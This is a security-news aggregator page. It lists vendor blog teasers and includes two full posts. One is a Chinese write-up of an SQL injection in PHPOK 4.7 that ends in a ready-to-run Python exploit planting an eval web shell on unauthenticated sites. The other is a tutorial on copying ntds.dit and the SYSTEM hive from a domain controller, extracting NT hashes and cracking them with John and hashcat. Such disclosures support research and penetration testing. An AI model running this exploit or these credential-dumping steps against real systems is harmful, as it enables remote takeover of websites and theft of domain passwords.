Aggregator
Key Takeaways for Consumers From Our 2018 Threats Predictions Report
As 2017 winds down, we all start looking ahead and anticipate what’s to come for 2018. For us at McAfee,...
The post Key Takeaways for Consumers From Our 2018 Threats Predictions Report appeared first on McAfee Blog.
Achieving Multi-Dimensional Security Through Information Modeling—Unwrapping Controls Part 4
How-To: Replaying Cellular Network Characteristics on Cloud Infrastructure
Analysis of a 0x5c BSOD caused by timer interrupt in KVM when VMs reboot
RSA 加密及解密
对于解题来说 一般会给你以下信息:模数N、公钥E和密文C. 如果只是做题的话
PHPOK 4.7从注入到getshell
首发先知安全技术社区,博客同步一下。
简介
phpok是一款PHP开发的开源企业网站系统。
在phpok 4.7版本及以前,存在一个由注入导致的前台getshell漏洞。
目前官方最新版已经修补。
在/framework/www/upload_control.php中第61行:
private function upload_base($input_name='upfile',$cateid=0) { $rs = $this->lib('upload')->getfile($input_name,$cateid); if($rs["status"] != "ok"){ return $rs; } $array = array(); $array["cate_id"] = $rs['cate']['id']; $array["folder"] = $rs['folder']; $array["name"] = basename($rs['filename']); $array["ext"] = $rs['ext']; $array["filename"] = $rs['filename']; $array["addtime"] = $this->time; $array["title"] = $rs['title']; $array['session_id'] = $this->session->sessid(); $array['user_id'] = $this->session->val('user_id'); $arraylist = array("jpg","gif","png","jpeg"); if(in_array($rs["ext"],$arraylist)){ $img_ext = getimagesize($this->dir_root.$rs['filename']); $my_ext = array("width"=>$img_ext[0],"height"=>$img_ext[1]); $array["attr"] = serialize($my_ext); } $id = $this->model('res')->save($array); if(!$id){ $this->lib('file')->rm($this->dir_root.$rs['filename']); return array('status'=>'error','error'=>P_Lang('图片存储失败')); } $this->model('res')->gd_update($id); $rs = $this->model('res')->get_one($id); $rs["status"] = "ok"; return $rs; }这是一个文件上传函数,然后在该函数开头又调用了getfile函数,跟进:
public function getfile($input='upfile',$cateid=0) { if(!$input){ return array('status'=>'error','content'=>P_Lang('未指定表单名称')); } $this->_cate($cateid); if(isset($_FILES[$input])){ $rs = $this->_upload($input); }else{ $rs = $this->_save($input); } if($rs['status'] != 'ok'){ return $rs; } $rs['cate'] = $this->cate; return $rs; }如果存在上传文件就调用_upload函数,继续跟进:
private function _upload($input) { global $app; $basename = substr(md5(time().uniqid()),9,16); $chunk = $app->get('chunk','int'); $chunks = $app->get('chunks','int'); if(!$chunks){ $chunks = 1; } $tmpname = $_FILES[$input]["name"]; $tmpid = 'u_'.md5($tmpname); $ext = $this->file_ext($tmpname); $out_tmpfile = $this->dir_root.'data/cache/'.$tmpid.'_'.$chunk; if (!$out = @fopen($out_tmpfile.".parttmp", "wb")) { return array('status'=>'error','error'=>P_Lang('无法打开输出流')); } $error_id = $_FILES[$input]['error'] ? $_FILES[$input]['error'] : 0; if($error_id){ return array('status'=>'error','error'=>$this->up_error[$error_id]); } if(!is_uploaded_file($_FILES[$input]['tmp_name'])){ return array('status'=>'error','error'=>P_Lang('上传失败,临时文件无法写入')); } if(!$in = @fopen($_FILES[$input]["tmp_name"], "rb")) { return array('status'=>'error','error'=>P_Lang('无法打开输入流')); } while ($buff = fread($in, 4096)) { fwrite($out, $buff); } @fclose($out); @fclose($in); $app->lib('file')->mv($out_tmpfile.'.parttmp',$out_tmpfile.'.part'); $index = 0; $done = true; for($index=0;$index<$chunks;$index++) { if (!file_exists($this->dir_root.'data/cache/'.$tmpid.'_'.$index.".part") ) { $done = false; break; } } if(!$done){ return array('status'=>'error','error'=>'上传的文件异常'); } $outfile = $this->folder.$basename.'.'.$ext; if(!$out = @fopen($this->dir_root.$outfile,"wb")) { return array('status'=>'error','error'=>P_Lang('无法打开输出流')); } if(flock($out,LOCK_EX)){ for($index=0;$index<$chunks;$index++) { if (!$in = @fopen($this->dir_root.'data/cache/'.$tmpid.'_'.$index.'.part','rb')){ break; } while ($buff = fread($in, 4096)) { fwrite($out, $buff); } @fclose($in); $GLOBALS['app']->lib('file')->rm($this->dir_root.'data/cache/'.$tmpid."_".$index.".part"); } flock($out,LOCK_UN); } @fclose($out); $tmpname = $GLOBALS['app']->lib('string')->to_utf8($tmpname); $title = str_replace(".".$ext,'',$tmpname); return array('title'=>$title,'ext'=>$ext,'filename'=>$outfile,'folder'=>$this->folder,'status'=>'ok'); }其中 $ext = $this->file_ext($tmpname);是检测文件后缀的,看一下:
private function file_ext($tmpname) { $ext = pathinfo($tmpname,PATHINFO_EXTENSION); if(!$ext){ return false; } $ext = strtolower($ext); $filetypes = "jpg,gif,png"; if($this->cate && $this->cate['filetypes']){ $filetypes .= ",".$this->cate['filetypes']; } if($this->file_type){ $filetypes .= ",".$this->file_type; } $list = explode(",",$filetypes); $list = array_unique($list); if(!in_array($ext,$list)){ return false; } return $ext; }上传是比较严格的,只允许上传后缀是jpg,png,gif这种图片后缀的文件,上传我们无法绕过,但是程序对于上传的文件名没有充份的过滤,在函数末尾,将文件名添加到了返回的数组中:
$tmpname = $GLOBALS['app']->lib('string')->to_utf8($tmpname); $title = str_replace(".".$ext,'',$tmpname); return array('title'=>$title,'ext'=>$ext,'filename'=>$outfile,'folder'=>$this->folder,'status'=>'ok'); }这里的$tmpname就是我们上传的文件名,注意,不是上传后的文件名,而是上传前的文件名,并且没有对该文件名过滤,然后返回。
我们回到开头,upload_base函数中去:
$rs = $this->lib('upload')->getfile($input_name,$cateid); if($rs["status"] != "ok"){ return $rs; } $array = array(); $array["cate_id"] = $rs['cate']['id']; $array["folder"] = $rs['folder']; $array["name"] = basename($rs['filename']); $array["ext"] = $rs['ext']; $array["filename"] = $rs['filename']; $array["addtime"] = $this->time; $array["title"] = $rs['title']; $array['session_id'] = $this->session->sessid(); $array['user_id'] = $this->session->val('user_id'); $arraylist = array("jpg","gif","png","jpeg"); if(in_array($rs["ext"],$arraylist)){ $img_ext = getimagesize($this->dir_root.$rs['filename']); $my_ext = array("width"=>$img_ext[0],"height"=>$img_ext[1]); $array["attr"] = serialize($my_ext); } $id = $this->model('res')->save($array);可以看到这里将返回值中的title的值赋值给了$array[‘title’],这个值是我们可控的,然后将$array带入到了save函数中,我们看一下该函数:
在/framework/model/res.php中第279行:
public function save($data,$id=0) { if(!$data || !is_array($data)){ return false; } if($id){ return $this->db->update_array($data,"res",array("id"=>$id)); }else{ return $this->db->insert_array($data,"res"); } }将$data带入到了insert_array函数中,我们看一下该函数:
/framework/engine/db/mysqli.php中第211行:
public function insert_array($data,$tbl,$type="insert") { if(!$tbl || !$data || !is_array($data)){ return false; } if(substr($tbl,0,strlen($this->prefix)) != $this->prefix){ $tbl = $this->prefix.$tbl; } $type = strtolower($type); $sql = $type == 'insert' ? "INSERT" : "REPLACE"; $sql.= " INTO ".$tbl." "; $sql_fields = array(); $sql_val = array(); foreach($data AS $key=>$value){ $sql_fields[] = "`".$key."`"; $sql_val[] = "'".$value."'"; } $sql.= "(".(implode(",",$sql_fields)).") VALUES(".(implode(",",$sql_val)).")"; return $this->insert($sql); }
就是将该数组中的键值遍历出来,将键作为字段名,将值作为对应字段的值。可以看到,对于值是没有进行转义的,其中包括我们可以控制的title的值,那么这里就产生了一个insert的注入。那么这个注入我们有什么用呢?当然首先想到的是一个出数据,但是对于update 或者insert注入,一般来说我会想办法将这个注入升级一下危害。注意这个注入是一个insert注入,并且insert语句是可以一次插入多条内容的,我们不能控制当前这条insert语句的内容,我们可以控制下一条的内容,比如说像这样:
Insert into file values(1,2,3,),(4,5,6)
那么我们控制下一条的内容有什么用,好,现在我们开始看/framework/www/upload_control.php中的第103行:
这里我们输入一个oldid的值,然后从res表中查找出这一行的数据,然后将我们上传的文件mv到$old_rs[‘filename’]。
mv函数的定义在/framework/libs/file.php中第264行:
通过上文说到的,我们可以控制res表中的一行记录的值,那么这个filename也是我们可控的,那么我们如果将filename设置为/res/balisong.php。那么我上传的图片文件就会重新命名成/res/balisong.php。我们就达到了一个getshell的目的。
由于上传的文件名的特殊性。导致我们不能带有斜杠,那么怎么办呢?我们可以利用十六进制编码来绕过,具体的漏洞利用过程就不细说了,比较复杂,所以直接上exp:
#-*- coding:utf-8 -*- import requests import sys import re if len(sys.argv) < 2: print u"Usage: exp.py url [PHPSESSION]\r\nFor example:\r\n[0] exp.py http://localhost\r\n[1] exp.py http://localhost 6ogmgp727m0ivf6rnteeouuj02" exit() baseurl = sys.argv[1] phpses = sys.argv[2] if len(sys.argv) > 2 else '' cookies = {'PHPSESSION': phpses} if baseurl[-1] == '/': baseurl = baseurl[:-1] url = baseurl + '/index.php?c=upload&f=save' files = [ ('upfile', ("1','r7ip15ijku7jeu1s1qqnvo9gj0','30',''),('1',0x7265732f3230313730352f32332f,0x393936396465336566326137643432352e6a7067,'',0x7265732f62616c69736f6e672e706870,'1495536080','2.jpg", '<?php @eval($_POST[balisong]);phpinfo();?>', 'image/jpg')), ] files1 = [ ('upfile', ('1.jpg', '<?php @eval($_POST[balisong]);phpinfo();?>', 'image/jpg')), ] r = requests.post(url, files=files, cookies=cookies) response = r.text id = re.search('"id":"(\d+)"', response, re.S).group(1) id = int(id) + 1 url = baseurl + '/index.php?c=upload&f=replace&oldid=%d' % (id) r = requests.post(url, files=files1, cookies=cookies) shell = baseurl + '/res/balisong.php' response = requests.get(shell) if response.status_code == 200: print "congratulation:Your shell:\n%s\npassword:balisong" % (shell) else: print "oh!Maybe failed.Please check"系统默认是不需要注册登录即可上传文件的。
结语其实这种情况还是蛮多的,有些系统会将上传前的文件名入库,如果过滤不当,就可以注入了。并且insert,update这种注入危害是可以进一步扩大的。
The Uber Data Breach: What Consumers Need to Know
Ride-sharing apps are one of the most successful innovations of the modern digital age. Practically everyone who has a smart...
The post The Uber Data Breach: What Consumers Need to Know appeared first on McAfee Blog.
GCSB supporting women in STEM through academic scholarships
The Government Communications Bureau (GSCB) has awarded four $10,000 tertiary scholarships to women studying STEM subjects at New Zealand universities.
If Your Security Question List Looks Like a Facebook Favorite List, Start Over Now
Mac osx vyprvpn seems not respond to your click
Phishing: The Secret of Its Success and What You Can Do to Stop It
蜜罐与内网安全从0到1(四)
A CISO Landmine: No Security Awareness Training
November 2017 security update release
November 2017 security update release
【Splunk】使用syslog-ng和HF(UF)收集syslog日志(二)源端(Nginx)配置
Is a Good Offense the Best Defense Against Hackers?
创新者的窘境,以及先知创新大会议题预告
Cracking AD Passwords with NTDSXtract, Dsusers.py and John the Ripper
Using the “Shadow Copy Volume Name:” we need to extract ntds.dit using “copy ShadowCopyVolumeNameHere\windows\ntds\ntds.dit c:\files” Note that you must use a valid target location for the copy. In the screenshot I used c:\Files and received an error because it does not exist. Using C:\junk, an existing directory, it worked.
We also need a copy of the SYSTEM file. You can easily retrieve this running “reg save hklm\system c:\junk”.
You should delete the shadow copy if you are done with it.
Copy your system file and ntds.dit from Windows to your Kali Linux box. Ignore pwd.txt since that is from other testing.
Extracting the data tables from ntds.dit using libesedb and esedbexportNow we need libesedb to extract the tables from the ntds.dit file. If you don’t already have this installed you can get it with the following commands: “git clone https://github.com/libyal/libesedb.git”
Now navigate to that directory using “cd libesedb/”
We must first install the other pre-req’s using “apt-get install git autoconf automake autopoint libtool pkg-config build-essential”
Run ./synclibs.sh
Run ./autogen.sh
Run chmod +x configure
Run ./configure
Run make
Run sudo make install
Run ldconfig
Navigate to cd /usr/local/bin/
Export the tables from ntds.dit by running “esedbexport -m tables /root/ntds.dit”
Copy the /usr/local/bin/ntds.dit.export folder to /root/.
Extracting the AD user account hashes using NTDSXtractNext we have to download NTDSXtract by running this command wget https://github.com/csababarta/ntdsxtract/archive/e2fc6470cf54d9151bed394ce9ad3cd25be7c262.zip
Unzip the file by running “unzip e2fc6470cf54d9151bed394ce9ad3cd25be7c262.zip”.
Then navigate to the directory you’ve extracted it to and “cd ntdsxtract-e2fc6470cf54d9151bed394ce9ad3cd25be7c262.zip/”.
Now you must run the python script in that folder using the files you have created. The command is “python dsusers.py /root/ntds.dit.export/datatable.4 /root/ntds.dit.export/link_table.7 /root/hashdumpwork --syshive /root/system --passwordhashes --lmoutfile /root/lm-out.txt --ntoutfile /root/nt-out.txt --pwdformat ophc
You may have to substitute file paths if you have exported or moved the datatable files. The paths after lmoutfile and nt-outfile are output locations.
You will now have lm-out.txt and nt-out.txt files in your home directory.
Cracking the Hashes - Using JohnnyIn Kali under Password Attacks open Johnny.
Click Open password file and select the (PASSWD format) option.
Select the nt-out.txt from the earlier steps and click Open.
You should now see a list of user accounts and hashes displayed.
Click on the Start new attack button and you should get passwords returned in the Password column.
Note: There are various types of attack methods under Options and a vast amount of wordlists available online. Since this is our production environment and we use very complex passwords, we entered a few known passwords in to a custom wordlist dictionary file to expedite the cracking process.
Cracking the Hashes Using JohnIn Kali under Password Attacks open John
Run the following command: john --rules=all --format=nt.old --fork=2 nt-out.txt
As you can see in the screenshot below, John will start to crack user passwords. You can see that someone in our domain has been creating test accounts using the same password of abc123$$.
Cracking the Hashes Using HashcatIn Kali under Password Attacks open hashcat.
Run the following command: hashcat -m 1000 -a 0 nt-out.txt -o pwdhashcat.txt rockyou.txt --force --attack-mode 3
-m is our hash type-a 0 is our attack mode set to straight --attack-mode 3 was also used which is a brute-force attackNt-out.txt is our file from earlier steps that contains the userid’s and hashes-o is our output file which will be named pwdhashcat.txtRockyou.txt is our downloaded dictionary file. - This was downloaded off the web for this step.
Hashcat then began a brute force and dictionary attack. You will able to see it attempting to crack password after password after password in the terminal window.
This article was contributed by Barry Vista ([email protected])